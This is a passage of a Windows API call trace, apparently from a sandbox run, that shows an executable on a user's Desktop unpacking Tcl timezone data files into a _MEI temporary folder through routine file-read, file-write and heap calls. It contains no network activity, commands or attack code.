[0043.421] SetLastError (dwErrCode=0x2) [0043.421] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\AST4", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\AST4", lpFilePart=0x0) returned 0x44 [0043.421] GetLastError () returned 0x2 [0043.421] SetLastError (dwErrCode=0x2) [0043.421] GetLastError () returned 0x2 [0043.421] SetLastError (dwErrCode=0x2) [0043.421] GetLastError () returned 0x2 [0043.421] SetLastError (dwErrCode=0x2) [0043.421] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\AST4") returned 69 [0043.421] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.421] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\AST4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\ast4"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.422] GetFileType (hFile=0x10c) returned 0x1 [0043.422] htonl (hostlong=0xc4000000) returned 0xc4 [0043.422] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.422] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xc4, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xc4, lpOverlapped=0x0) returned 1 [0043.423] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.423] CloseHandle (hObject=0x10c) returned 1 [0043.423] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.423] htonl (hostlong=0x30000000) returned 0x30 [0043.423] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.423] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.423] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.423] GetFileType (hFile=0x10c) returned 0x1 [0043.423] htonl (hostlong=0x4c2b5d00) returned 0x5d2b4c [0043.423] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61db4c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.423] htonl (hostlong=0x93000000) returned 0x93 [0043.423] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x93) returned 0x55cfe0 [0043.423] htonl (hostlong=0x93000000) returned 0x93 [0043.423] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.423] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.423] htonl (hostlong=0xbb000000) returned 0xbb [0043.423] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbb) returned 0x55d4f0 [0043.423] htonl (hostlong=0x93000000) returned 0x93 [0043.423] htonl (hostlong=0xbb000000) returned 0xbb [0043.423] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.423] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.423] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.423] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.423] CloseHandle (hObject=0x10c) returned 1 [0043.424] GetLastError () returned 0x0 [0043.424] SetLastError (dwErrCode=0x0) [0043.424] GetLastError () returned 0x0 [0043.424] SetLastError (dwErrCode=0x0) [0043.424] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.424] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.424] GetFileType (hFile=0x10c) returned 0x1 [0043.424] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.424] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.424] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.424] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.424] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.424] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.424] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.424] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.424] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.424] CloseHandle (hObject=0x10c) returned 1 [0043.424] GetLastError () returned 0x0 [0043.424] SetLastError (dwErrCode=0x0) [0043.424] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.424] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.424] GetFileType (hFile=0x10c) returned 0x1 [0043.424] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.424] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.424] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.424] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.425] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.425] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.425] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.425] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.425] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.425] CloseHandle (hObject=0x10c) returned 1 [0043.425] GetLastError () returned 0x0 [0043.425] SetLastError (dwErrCode=0x0) [0043.425] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV") returned 64 [0043.425] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.425] GetFileType (hFile=0x10c) returned 0x1 [0043.425] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.425] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.425] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.425] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.425] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.425] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.425] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.425] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.425] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.425] CloseHandle (hObject=0x10c) returned 1 [0043.425] GetLastError () returned 0x0 [0043.425] SetLastError (dwErrCode=0x0) [0043.425] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\AST4ADT") returned 72 [0043.426] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\AST4ADT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\ast4adt"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.426] GetLastError () returned 0x2 [0043.426] SetLastError (dwErrCode=0x2) [0043.426] GetLastError () returned 0x2 [0043.426] SetLastError (dwErrCode=0x2) [0043.426] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\AST4ADT", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\AST4ADT", lpFilePart=0x0) returned 0x47 [0043.426] GetLastError () returned 0x2 [0043.426] SetLastError (dwErrCode=0x2) [0043.426] GetLastError () returned 0x2 [0043.426] SetLastError (dwErrCode=0x2) [0043.426] GetLastError () returned 0x2 [0043.426] SetLastError (dwErrCode=0x2) [0043.426] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\AST4ADT") returned 72 [0043.426] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.426] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\AST4ADT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\ast4adt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.426] GetFileType (hFile=0x10c) returned 0x1 [0043.426] htonl (hostlong=0xbb000000) returned 0xbb [0043.426] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.426] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xbb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xbb, lpOverlapped=0x0) returned 1 [0043.427] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.427] CloseHandle (hObject=0x10c) returned 1 [0043.427] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d4f0 | out: hHeap=0x530000) returned 1 [0043.427] htonl (hostlong=0x30000000) returned 0x30 [0043.427] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.427] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.427] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.428] GetFileType (hFile=0x10c) returned 0x1 [0043.428] htonl (hostlong=0xdf2b5d00) returned 0x5d2bdf [0043.428] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61dbdf, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.428] htonl (hostlong=0x90000000) returned 0x90 [0043.428] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x90) returned 0x55cfe0 [0043.428] htonl (hostlong=0x90000000) returned 0x90 [0043.428] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.428] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.428] htonl (hostlong=0xb5000000) returned 0xb5 [0043.428] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb5) returned 0x560530 [0043.428] htonl (hostlong=0x90000000) returned 0x90 [0043.428] htonl (hostlong=0xb5000000) returned 0xb5 [0043.428] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.428] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.428] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.428] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.428] CloseHandle (hObject=0x10c) returned 1 [0043.428] GetLastError () returned 0x0 [0043.428] SetLastError (dwErrCode=0x0) [0043.428] GetLastError () returned 0x0 [0043.428] SetLastError (dwErrCode=0x0) [0043.428] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.428] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.428] GetFileType (hFile=0x10c) returned 0x1 [0043.429] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.429] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.429] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.429] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.429] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.429] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.429] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.429] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.429] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.429] CloseHandle (hObject=0x10c) returned 1 [0043.429] GetLastError () returned 0x0 [0043.429] SetLastError (dwErrCode=0x0) [0043.429] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.429] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.429] GetFileType (hFile=0x10c) returned 0x1 [0043.429] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.429] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.429] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.429] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.429] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.429] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.429] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.429] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.429] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.429] CloseHandle (hObject=0x10c) returned 1 [0043.430] GetLastError () returned 0x0 [0043.430] SetLastError (dwErrCode=0x0) [0043.430] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV") returned 64 [0043.430] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.430] GetFileType (hFile=0x10c) returned 0x1 [0043.430] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.430] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.430] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.430] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.430] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.430] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.430] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.430] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.430] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.430] CloseHandle (hObject=0x10c) returned 1 [0043.430] GetLastError () returned 0x0 [0043.430] SetLastError (dwErrCode=0x0) [0043.430] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\CST6") returned 69 [0043.430] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\CST6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\cst6"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.430] GetLastError () returned 0x2 [0043.430] SetLastError (dwErrCode=0x2) [0043.430] GetLastError () returned 0x2 [0043.430] SetLastError (dwErrCode=0x2) [0043.430] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\CST6", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\CST6", lpFilePart=0x0) returned 0x44 [0043.430] GetLastError () returned 0x2 [0043.430] SetLastError (dwErrCode=0x2) [0043.430] GetLastError () returned 0x2 [0043.431] SetLastError (dwErrCode=0x2) [0043.431] GetLastError () returned 0x2 [0043.431] SetLastError (dwErrCode=0x2) [0043.431] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\CST6") returned 69 [0043.431] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.431] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\CST6" (normalized: 